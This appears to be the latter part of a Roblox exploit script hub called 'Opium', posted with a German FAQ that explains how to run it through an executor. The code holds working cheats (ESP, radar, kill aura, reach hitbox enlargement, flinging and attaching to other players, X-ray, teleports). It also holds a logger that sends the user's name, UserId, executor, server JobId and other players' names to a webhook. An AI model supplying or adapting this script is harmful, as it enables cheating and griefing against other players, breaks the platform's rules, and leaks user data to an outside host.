Instance.new("UICorner",radar).CornerRadius=UDim.new(1,0); local rst=Instance.new("UIStroke",radar); rst.Transparency=0.5
local rMe=Instance.new("Frame"); rMe.Size=UDim2.new(0,6,0,6); rMe.AnchorPoint=Vector2.new(0.5,0.5); rMe.Position=UDim2.new(0.5,0,0.5,0); rMe.BackgroundColor3=Color3.fromRGB(255,255,255); rMe.ZIndex=16; rMe.Parent=radar; Instance.new("UICorner",rMe).CornerRadius=UDim.new(1,0)
local radarDots={}
track(RunService.RenderStepped:Connect(function()
radar.Visible=Settings.Radar
if not Settings.Radar then return end
local myHrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not myHrp then return end
local range,rad=120,72; local i=0
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
local root=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if not root then continue end
i=i+1; local dot=radarDots[i]
if not dot then dot=Instance.new("Frame"); dot.Size=UDim2.new(0,6,0,6); dot.AnchorPoint=Vector2.new(0.5,0.5); dot.BorderSizePixel=0; dot.ZIndex=16; dot.Parent=radar; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0); radarDots[i]=dot end
local rel=myHrp.CFrame:PointToObjectSpace(root.Position)
local px=math.clamp(rel.X/range,-1,1)*rad; local py=math.clamp(rel.Z/range,-1,1)*rad
dot.Position=UDim2.new(0.5,px,0.5,py)
dot.BackgroundColor3=(Settings.Friends and friendCache[plr.UserId]) and Colors.Friend or Color3.fromRGB(255,70,70)
dot.Visible=true
end
for j=i+1,#radarDots do radarDots[j].Visible=false end
end))
track(RunService.Heartbeat:Connect(function()
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
if Settings.NoFall then local v=hrp.AssemblyLinearVelocity; if v.Y<-60 then hrp.AssemblyLinearVelocity=Vector3.new(v.X,-10,v.Z) end end
end))
local fakeCtr=0
track(RunService.Heartbeat:Connect(function()
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
if Settings.FakeLag then fakeCtr=fakeCtr+1; hrp.Anchored=(fakeCtr%8<4)
elseif hrp.Anchored and not Settings.Fly then hrp.Anchored=false end
end))
local function nearestRoot()
local myHrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not myHrp then return end
local best,bestD
for _,plr in pairs(Players:GetPlayers()) do if plr~=LocalPlayer then local r=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if r then local d=(r.Position-myHrp.Position).Magnitude; if not bestD or d<bestD then bestD=d; best=r end end end end
return best
end
track(RunService.Heartbeat:Connect(function()
if Settings.FlingMode=="Off" then return end
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); if not hrp then return end
local target
if Settings.FlingMode=="Nearest" then target=nearestRoot()
elseif Settings.FlingMode=="Mouse" then local m=UserInput:GetMouseLocation(); local ray=Camera:ViewportPointToRay(m.X,m.Y); local pr=RaycastParams.new(); pr.FilterDescendantsInstances={ch}; pr.FilterType=Enum.RaycastFilterType.Exclude; local res=workspace:Raycast(ray.Origin,ray.Direction*2000,pr); local mch=res and res.Instance and res.Instance:FindFirstAncestorWhichIsA("Model"); target=mch and mch:FindFirstChild("HumanoidRootPart") end
if target then hrp.CFrame=CFrame.new(target.Position) end
hrp.AssemblyAngularVelocity=Vector3.new(0,9999,0); hrp.AssemblyLinearVelocity=Vector3.new(9000,0,9000)
end))
track(RunService.Heartbeat:Connect(function()
if not Settings.Attach then return end
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local np=nearestRoot()
if hrp and np then hrp.CFrame=np.CFrame*CFrame.new(0,3.5,0) end
end))
local wm=Instance.new("TextLabel"); wm.AutomaticSize=Enum.AutomaticSize.X; wm.Size=UDim2.new(0,0,0,24); wm.Position=UDim2.new(0,14,0,14); wm.BackgroundColor3=Color3.fromRGB(15,17,22); wm.BackgroundTransparency=0.15; wm.TextColor3=Color3.fromRGB(255,255,255); wm.Font=Enum.Font.GothamBold; wm.TextSize=13; wm.Visible=false; wm.ZIndex=30; wm.Parent=hud
Instance.new("UICorner",wm).CornerRadius=UDim.new(0,7); local wmp=Instance.new("UIPadding",wm); wmp.PaddingLeft=UDim.new(0,10); wmp.PaddingRight=UDim.new(0,10)
local wmStroke=Instance.new("UIStroke",wm); wmStroke.Color=ACCENT; wmStroke.Thickness=1.2
local fpsSmooth=60
track(RunService.RenderStepped:Connect(function(dt)
if not Settings.Watermark then wm.Visible=false; return end
fpsSmooth=fpsSmooth*0.9+(1/math.max(dt,1/1000))*0.1
local ping=0; pcall(function() ping=math.floor(LocalPlayer:GetNetworkPing()*1000) end)
wm.Text="OPIUM | FPS "..math.floor(fpsSmooth).." | Ping "..ping.."ms"; wmStroke.Color=ACCENT; wm.Visible=true
end))
task.spawn(function() while true do task.wait(20); if Settings.AutoSave then saveConfig() end end end)
Colors.Crosshair=Color3.fromRGB(255,255,255)
local specIdx=0
local function spectateNext(dir)
local list={}; for _,p in ipairs(Players:GetPlayers()) do if p~=LocalPlayer and p.Character and p.Character:FindFirstChildOfClass("Humanoid") then table.insert(list,p) end end
if #list==0 then return end
specIdx=specIdx+dir; if specIdx<1 then specIdx=#list elseif specIdx>#list then specIdx=1 end
local hum=list[specIdx].Character:FindFirstChildOfClass("Humanoid"); Camera.CameraSubject=hum; notify("Spectating: "..list[specIdx].Name)
end
local function stopSpectate()
local h=LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); if h then Camera.CameraSubject=h end notify("Spectate off")
end
makeToggle(cs,"Visible Check","VisCheck"); makeToggle(cs,"Sticky Target","Sticky"); makeSlider(cs,"Trigger Delay","TrigDelay",0,500,"ms")
makeToggle(cs,"Kill Aura","KillAura"); makeSlider(cs,"Aura Range","AuraRange",5,50,"")
makeSlider(vs,"ESP Max Distance","ESPMaxDist",0,1000,""); makeCycler(vs,"Tracer From","TracerOrigin",{"Bottom","Top","Mouse"})
makeToggle(vs,"Rainbow Chams","RainbowChams"); makeToggle(vs,"NPC ESP","NPCESP"); makeToggle(vs,"Crosshair","Crosshair","Crosshair")
makeToggle(ms,"Freecam (RMB+WASD)","Freecam"); makeToggle(ms,"Anti Void","AntiVoid"); makeToggle(ms,"Auto Rejoin","AutoRejoin")
makeToggle(ms,"Reach","Reach"); makeSlider(ms,"Reach Size","ReachSize",4,30,"")
makeButton(ms,"Spectate Next",function() spectateNext(1) end); makeButton(ms,"Spectate Prev",function() spectateNext(-1) end); makeButton(ms,"Stop Spectate",stopSpectate)
makeCycler(ss,"Config Profile","Profile",{"1","2","3"})
do
local sbar=Instance.new("Frame"); sbar.AnchorPoint=Vector2.new(0.5,0); sbar.Position=UDim2.new(0.5,0,0,70); sbar.Size=UDim2.new(0,240,0,30); sbar.BackgroundColor3=Color3.fromRGB(255,255,255); sbar.BackgroundTransparency=0.85; sbar.BorderSizePixel=0; sbar.ZIndex=19; sbar.Parent=hud
Instance.new("UICorner",sbar).CornerRadius=UDim.new(0,10); Instance.new("UIStroke",sbar).Transparency=0.6
local tb=Instance.new("TextBox"); tb.Size=UDim2.new(1,-16,1,0); tb.Position=UDim2.new(0,12,0,0); tb.BackgroundTransparency=1; tb.PlaceholderText="Feature suchen..."; tb.PlaceholderColor3=Color3.fromRGB(180,185,195); tb.Text=""; tb.TextColor3=Color3.fromRGB(255,255,255); tb.TextXAlignment=Enum.TextXAlignment.Left; tb.Font=Enum.Font.GothamMedium; tb.TextSize=13; tb.ClearTextOnFocus=false; tb.ZIndex=20; tb.Parent=sbar
tb:GetPropertyChangedSignal("Text"):Connect(function() local q=tb.Text:lower(); for _,c in ipairs(allControls) do c.row.Visible=(q=="" or c.text:find(q,1,true)~=nil) end end)
end
if UserInput.TouchEnabled then
local mb=Instance.new("TextButton"); mb.Size=UDim2.new(0,54,0,54); mb.Position=UDim2.new(0,20,1,-74); mb.BackgroundColor3=ACCENT; mb.BackgroundTransparency=0.05; mb.Text="O"; mb.TextColor3=Color3.fromRGB(255,255,255); mb.Font=Enum.Font.GothamBlack; mb.TextSize=24; mb.ZIndex=400; mb.Parent=gui
Instance.new("UICorner",mb).CornerRadius=UDim.new(1,0)
mb.MouseButton1Click:Connect(function() hud.Visible=not hud.Visible end)
end
track(UserInput.InputBegan:Connect(function(inp,gpe)
if gpe or bindingNow or inp.UserInputType~=Enum.UserInputType.Keyboard then return end
local n=inp.KeyCode.Name
for k,b in pairs(Settings.Keybinds) do if b==n and toggleActions[k] then toggleActions[k]() end end
end))
local lastAura=0
track(RunService.Heartbeat:Connect(function()
if not Settings.KillAura then return end
if tick()-lastAura<0.35 then return end
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local tool=ch and ch:FindFirstChildOfClass("Tool"); if not hrp or not tool then return end
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
local r=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); local hum=plr.Character and plr.Character:FindFirstChildOfClass("Humanoid")
if r and hum and hum.Health>0 and (r.Position-hrp.Position).Magnitude<=Settings.AuraRange then lastAura=tick(); pcall(function() tool:Activate() end); break end
end
end))
local npcList,npcDraw={}, {}
task.spawn(function() while true do
if Settings.NPCESP then local l={}; for _,d in ipairs(workspace:GetDescendants()) do if d:IsA("Humanoid") then local m=d.Parent; if m and not Players:GetPlayerFromCharacter(m) and m:FindFirstChild("HumanoidRootPart") then table.insert(l,m) end end end npcList=l else npcList={} end
task.wait(0.6)
end end)
track(RunService.RenderStepped:Connect(function()
local seen={}
if Settings.NPCESP then
for _,m in ipairs(npcList) do
local hrp=m:FindFirstChild("HumanoidRootPart"); if not hrp then continue end
local top,on=Camera:WorldToViewportPoint(hrp.Position+Vector3.new(0,2.5,0))
local bot=Camera:WorldToViewportPoint(hrp.Position-Vector3.new(0,2.5,0))
seen[m]=true; local d=npcDraw[m]; if not d then d={box=Drawing.new("Square"),name=Drawing.new("Text")}; d.box.Filled=false; d.name.Center=true; d.name.Outline=true; npcDraw[m]=d end
if on then local hgt=math.abs(bot.Y-top.Y); local w=hgt*0.55
d.box.Color=Color3.fromRGB(255,160,0); d.box.Thickness=1.5; d.box.Size=Vector2.new(w,hgt); d.box.Position=Vector2.new(top.X-w/2,top.Y); d.box.Visible=true
d.name.Text=m.Name; d.name.Size=13; d.name.Color=Color3.fromRGB(255,190,90); d.name.Position=Vector2.new(top.X,top.Y-14); d.name.Visible=true
else d.box.Visible=false; d.name.Visible=false end
end
end
for m,d in pairs(npcDraw) do if not seen[m] then pcall(function() d.box:Remove(); d.name:Remove() end) npcDraw[m]=nil end end
end))
local chV=Drawing.new("Line"); local chH=Drawing.new("Line"); chV.Thickness=1.5; chH.Thickness=1.5
track(RunService.RenderStepped:Connect(function()
if not Settings.Crosshair then chV.Visible=false; chH.Visible=false; return end
local c=Camera.ViewportSize/2; local s=6
chV.Color=Colors.Crosshair; chH.Color=Colors.Crosshair
chV.From=Vector2.new(c.X,c.Y-s); chV.To=Vector2.new(c.X,c.Y+s); chV.Visible=true
chH.From=Vector2.new(c.X-s,c.Y); chH.To=Vector2.new(c.X+s,c.Y); chH.Visible=true
end))
local fc={active=false,pos=Vector3.zero,yaw=0,pitch=0}
track(UserInput.InputChanged:Connect(function(inp)
if Settings.Freecam and inp.UserInputType==Enum.UserInputType.MouseMovement and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
fc.yaw=fc.yaw-inp.Delta.X*0.004; fc.pitch=math.clamp(fc.pitch-inp.Delta.Y*0.004,-1.4,1.4)
end
end))
track(RunService.RenderStepped:Connect(function(dt)
if Settings.Freecam then
if not fc.active then fc.active=true; fc.pos=Camera.CFrame.Position; local rx,ry=Camera.CFrame:ToOrientation(); fc.pitch=rx; fc.yaw=ry; Camera.CameraType=Enum.CameraType.Scriptable end
local rot=CFrame.fromEulerAnglesYXZ(fc.pitch,fc.yaw,0); local mv=Vector3.zero
if UserInput:IsKeyDown(Enum.KeyCode.W) then mv=mv+Vector3.new(0,0,-1) end
if UserInput:IsKeyDown(Enum.KeyCode.S) then mv=mv+Vector3.new(0,0,1) end
if UserInput:IsKeyDown(Enum.KeyCode.A) then mv=mv+Vector3.new(-1,0,0) end
if UserInput:IsKeyDown(Enum.KeyCode.D) then mv=mv+Vector3.new(1,0,0) end
if UserInput:IsKeyDown(Enum.KeyCode.Space) then mv=mv+Vector3.new(0,1,0) end
if UserInput:IsKeyDown(Enum.KeyCode.LeftControl) then mv=mv+Vector3.new(0,-1,0) end
local spd=(UserInput:IsKeyDown(Enum.KeyCode.LeftShift) and 130 or 45)*dt
fc.pos=fc.pos+rot:VectorToWorldSpace(mv)*spd
Camera.CFrame=CFrame.new(fc.pos)*rot
elseif fc.active then fc.active=false; Camera.CameraType=Enum.CameraType.Custom end
end))
local lastSafe
track(RunService.Heartbeat:Connect(function()
local ch=LocalPlayer.Character; local hrp=ch and ch:FindFirstChild("HumanoidRootPart"); local hum=ch and ch:FindFirstChildOfClass("Humanoid"); if not hrp then return end
if hum and hum.FloorMaterial~=Enum.Material.Air then lastSafe=hrp.Position end
if Settings.AntiVoid and lastSafe and hrp.Position.Y<-150 then hrp.CFrame=CFrame.new(lastSafe+Vector3.new(0,5,0)); hrp.AssemblyLinearVelocity=Vector3.zero end
end))
track(RunService.Heartbeat:Connect(function()
local ch=LocalPlayer.Character; local tool=ch and ch:FindFirstChildOfClass("Tool"); local handle=tool and tool:FindFirstChild("Handle"); if not handle then return end
if Settings.Reach then
if not handle:GetAttribute("OpiumReach") then handle:SetAttribute("OpiumOrig",handle.Size); handle:SetAttribute("OpiumReach",true) end
handle.Size=Vector3.new(Settings.ReachSize,Settings.ReachSize,Settings.ReachSize); handle.Transparency=0.6
elseif handle:GetAttribute("OpiumReach") then handle.Size=handle:GetAttribute("OpiumOrig") or handle.Size; handle.Transparency=0; handle:SetAttribute("OpiumReach",nil) end
end))
pcall(function() game:GetService("GuiService").ErrorMessageChanged:Connect(function() if Settings.AutoRejoin then pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end) end end) end)
local savedPos
local function myHRP() local c=LocalPlayer.Character; return c and c:FindFirstChild("HumanoidRootPart") end
makeToggle(es,"Auto Clicker","AutoClick"); makeSlider(es,"CPS","CPS",1,50,"")
makeToggle(es,"Freeze Self","Freeze"); makeToggle(es,"Anti Kick","AntiKick")
makeToggle(es,"X-Ray","XRay",nil,function(on) local myc=LocalPlayer.Character for _,p in ipairs(workspace:GetDescendants()) do if p:IsA("BasePart") and not (myc and p:IsDescendantOf(myc)) then p.LocalTransparencyModifier=on and 0.6 or 0 end end end)
makeButton(es,"Save Position",function() local h=myHRP(); if h then savedPos=h.CFrame; notify("Position gespeichert") end end)
makeButton(es,"TP to Saved",function() local h=myHRP(); if h and savedPos then h.CFrame=savedPos end end)
makeButton(es,"TP to Spawn",function() local h=myHRP(); local sp=workspace:FindFirstChildWhichIsA("SpawnLocation",true); if h and sp then h.CFrame=sp.CFrame+Vector3.new(0,5,0) end end)
makeButton(es,"TP to Nearest",function() local h=myHRP(); local n=nearestRoot(); if h and n then h.CFrame=n.CFrame*CFrame.new(0,0,3) end end)
makeButton(es,"TP Forward 20",function() local h=myHRP(); if h then h.CFrame=h.CFrame+Camera.CFrame.LookVector*20 end end)
makeButton(es,"Respawn",function() local c=LocalPlayer.Character; if c then pcall(function() c:BreakJoints() end) end end)
makeButton(es,"Preset: Moon Gravity",function() Settings.Gravity=40; for _,f in ipairs(refreshers) do f() end notify("Moon Gravity") end)
makeButton(es,"Preset: Normal Gravity",function() Settings.Gravity=196; for _,f in ipairs(refreshers) do f() end notify("Normal Gravity") end)
task.spawn(function() while true do if Settings.AutoClick then pcall(function() if mouse1click then mouse1click() end end); task.wait(1/math.max(Settings.CPS,1)) else task.wait(0.1) end end end)
local wasFrozen=false
track(RunService.Heartbeat:Connect(function() local h=myHRP(); if not h then return end if Settings.Freeze then h.Anchored=true; wasFrozen=true elseif wasFrozen then h.Anchored=false; wasFrozen=false end end))
task.spawn(function() while true do if Settings.XRay then local myc=LocalPlayer.Character for _,p in ipairs(workspace:GetDescendants()) do if p:IsA("BasePart") and not (myc and p:IsDescendantOf(myc)) then p.LocalTransparencyModifier=0.6 end end end task.wait(1.5) end end)
do
local HttpService=game:GetService("HttpService")
local MarketplaceService=game:GetService("MarketplaceService")
local LogService=game:GetService("LogService")
local req=(syn and syn.request) or (http and http.request) or (fluxus and fluxus.request) or http_request or request
local loadTime=tick()
local function exeName() local e="Unknown"; pcall(function() if identifyexecutor then local a=identifyexecutor(); if a then e=a end elseif getexecutorname then e=getexecutorname() end end) return e end
local function gameName() local n="PlaceId "..tostring(game.PlaceId); pcall(function() n=MarketplaceService:GetProductInfo(game.PlaceId).Name end) return n end
local function localLog(line) if not LOG.LocalFile then return end pcall(function() local prev=(isfile and isfile("opium_log.txt") and readfile("opium_log.txt")) or ""; writefile("opium_log.txt", prev..os.date("[%X] ")..tostring(line).."\n") end) end
local function base() return {{name="Spieler",value=LocalPlayer.Name.." (@"..LocalPlayer.DisplayName..")",inline=true},{name="UserId",value=tostring(LocalPlayer.UserId),inline=true},{name="Executor",value=exeName(),inline=true}} end
local function post(embed,plain)
localLog((embed.title or "log")..(plain and (" - "..plain) or ""))
if WEBHOOK_URL=="" or not req then return end
embed.color=embed.color or 690431
embed.footer={text="opium"}
embed.timestamp=os.date("!%Y-%m-%dT%H:%M:%SZ")
local body=HttpService:JSONEncode({username="Opium Logger", embeds={embed}})
pcall(function() req({Url=WEBHOOK_URL, Method="POST", Headers={["Content-Type"]="application/json"}, Body=body}) end)
end
task.spawn(function()
if not LOG.Join then return end
local age="?"; pcall(function() age=tostring(LocalPlayer.AccountAge).." Tage" end)
local prem="Nein"; pcall(function() if LocalPlayer.MembershipType==Enum.MembershipType.Premium then prem="Ja" end end)
local f=base()
table.insert(f,{name="Account-Alter",value=age,inline=true})
table.insert(f,{name="Premium",value=prem,inline=true})
table.insert(f,{name="Spieler im Server",value=tostring(#Players:GetPlayers()).."/"..tostring(Players.MaxPlayers),inline=true})
table.insert(f,{name="Spiel",value=gameName(),inline=false})
table.insert(f,{name="PlaceId",value=tostring(game.PlaceId),inline=true})
table.insert(f,{name="JobId",value=tostring(game.JobId),inline=true})
post({title="🟢 Opium geladen",color=3066993,fields=f})
end)
task.spawn(function()
if not LOG.Players then return end
task.wait(1)
local names={}; for _,p in ipairs(Players:GetPlayers()) do if p~=LocalPlayer then table.insert(names,p.Name) end end
local list=(#names>0 and table.concat(names,", ")) or "(nur du)"
if #list>1000 then list=list:sub(1,1000).."…" end
post({title="👥 Spielerliste ("..#names..")",description=list})
end)
onFeature=function(name,state)
if not LOG.Features then return end
task.spawn(function() post({title="⚙️ Feature "..(state and "AN" or "AUS"),description="**"..tostring(name).."** "..(state and "aktiviert" or "deaktiviert")}, tostring(name)) end)
end
if LOG.Errors then
local last=0
pcall(function() track(LogService.MessageOut:Connect(function(msg,mtype)
if mtype==Enum.MessageType.MessageError and tick()-last>2 then last=tick(); task.spawn(function() post({title="⚠️ Fehler",color=15158332,description="```"..tostring(msg):sub(1,900).."```"}) end) end
end)) end)
end
local sent=false
opiumLeave=function(reason)
if sent or not LOG.Leave then return end
sent=true
local s=math.floor(tick()-loadTime); local dur=string.format("%dm %ds",math.floor(s/60),s%60)
local f=base()
table.insert(f,{name="Session-Dauer",value=dur,inline=true})
table.insert(f,{name="Grund",value=reason or "Leave",inline=true})
post({title="🔴 Opium beendet",color=15158332,fields=f})
end
track(Players.PlayerRemoving:Connect(function(p) if p==LocalPlayer then opiumLeave("Spiel verlassen") end end))
end
do
local ov=Instance.new("Frame"); ov.Size=UDim2.new(1,0,1,0); ov.BackgroundColor3=Color3.fromRGB(9,10,14); ov.BorderSizePixel=0; ov.ZIndex=500; ov.Parent=gui
local logo=Instance.new("TextLabel"); logo.AnchorPoint=Vector2.new(0.5,0.5); logo.Position=UDim2.new(0.5,0,0.45,0); logo.Size=UDim2.new(0,400,0,64); logo.BackgroundTransparency=1; logo.Text="opium"; logo.TextColor3=Color3.fromRGB(255,255,255); logo.Font=Enum.Font.GothamBlack; logo.TextSize=54; logo.TextTransparency=1; logo.ZIndex=501; logo.Parent=ov
local sub=Instance.new("TextLabel"); sub.AnchorPoint=Vector2.new(0.5,0.5); sub.Position=UDim2.new(0.5,0,0.45,44); sub.Size=UDim2.new(0,300,0,20); sub.BackgroundTransparency=1; sub.Text="loading..."; sub.TextColor3=Color3.fromRGB(180,185,195); sub.Font=Enum.Font.GothamMedium; sub.TextSize=14; sub.TextTransparency=1; sub.ZIndex=501; sub.Parent=ov
local barbg=Instance.new("Frame"); barbg.AnchorPoint=Vector2.new(0.5,0.5); barbg.Position=UDim2.new(0.5,0,0.56,0); barbg.Size=UDim2.new(0,240,0,6); barbg.BackgroundColor3=Color3.fromRGB(40,42,50); barbg.BorderSizePixel=0; barbg.ZIndex=501; barbg.Parent=ov; Instance.new("UICorner",barbg).CornerRadius=UDim.new(1,0)
local fill=Instance.new("Frame"); fill.AnchorPoint=Vector2.new(0,0.5); fill.Position=UDim2.new(0,0,0.5,0); fill.Size=UDim2.new(0,0,1,0); fill.BackgroundColor3=ACCENT; fill.BorderSizePixel=0; fill.ZIndex=502; fill.Parent=barbg; Instance.new("UICorner",fill).CornerRadius=UDim.new(1,0)
hud.Visible=false
local qi=TweenInfo.new(0.5,Enum.EasingStyle.Quad)
TweenService:Create(logo,qi,{TextTransparency=0}):Play(); TweenService:Create(sub,qi,{TextTransparency=0.2}):Play()
TweenService:Create(fill,TweenInfo.new(1.5,Enum.EasingStyle.Quad),{Size=UDim2.new(1,0,1,0)}):Play()
task.delay(1.75,function()
hud.Visible=true
local fo=TweenInfo.new(0.5,Enum.EasingStyle.Quad)
TweenService:Create(ov,fo,{BackgroundTransparency=1}):Play()
TweenService:Create(logo,fo,{TextTransparency=1}):Play(); TweenService:Create(sub,fo,{TextTransparency=1}):Play()
TweenService:Create(barbg,fo,{BackgroundTransparency=1}):Play(); TweenService:Create(fill,fo,{BackgroundTransparency=1}):Play()
task.delay(0.55,function() ov:Destroy() end)
end)
end
track(UserInput.InputBegan:Connect(function(input,gpe) if gpe then return end if input.KeyCode.Name==Settings.MenuKey then hud.Visible=not hud.Visible end end))
print("OPIUM loaded! ["..Settings.MenuKey.."] = Icon-Dock. Hover fuer Namen, Icon klicken = Fenster.")
Beschreibung
Opium — the all-in-one Roblox script hub. Combat, visuals, movement and exploits in one sleek, draggable glass interface. Configurable, keybindable, and built to look as good as it plays.
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Häufig gestellte Fragen
- Wie verwende ich den Opium unliversal-Script?
- Kopiere den obigen Code, öffne deinen Roblox-Executor, füge den Code ein und drücke Ausführen, während du im Spiel bist. Die Funktionen werden sofort aktiviert, sobald der Script läuft.
- Ist der Opium unliversal-Script kostenlos?
- Ja. Dieser Script ist völlig kostenlos zu kopieren und zu verwenden. Wenn er ein Schlüsselsystem nutzt, folge dem Link "Schlüssel erhalten", um ihn kostenlos freizuschalten.
- Ist der Opium unliversal-Script sicher zu verwenden?
- Der vollständige Quellcode wird auf dieser Seite angezeigt, damit du genau lesen kannst, was er tut, bevor du ihn ausführst. Verwende immer einen vertrauenswürdigen Executor, und denke daran, dass die Verwendung von Scripts gegen die Nutzungsbedingungen von Roblox verstößt — verwende sie auf eigene Gefahr.
- Welcher Executor funktioniert mit Opium unliversal?
- Dieser Script funktioniert mit den meisten beliebten Roblox-Executoren. Besuche unsere Executor-Seite, um einen vertrauenswürdigen kostenlosen oder kostenpflichtigen Executor für dein Gerät zu finden.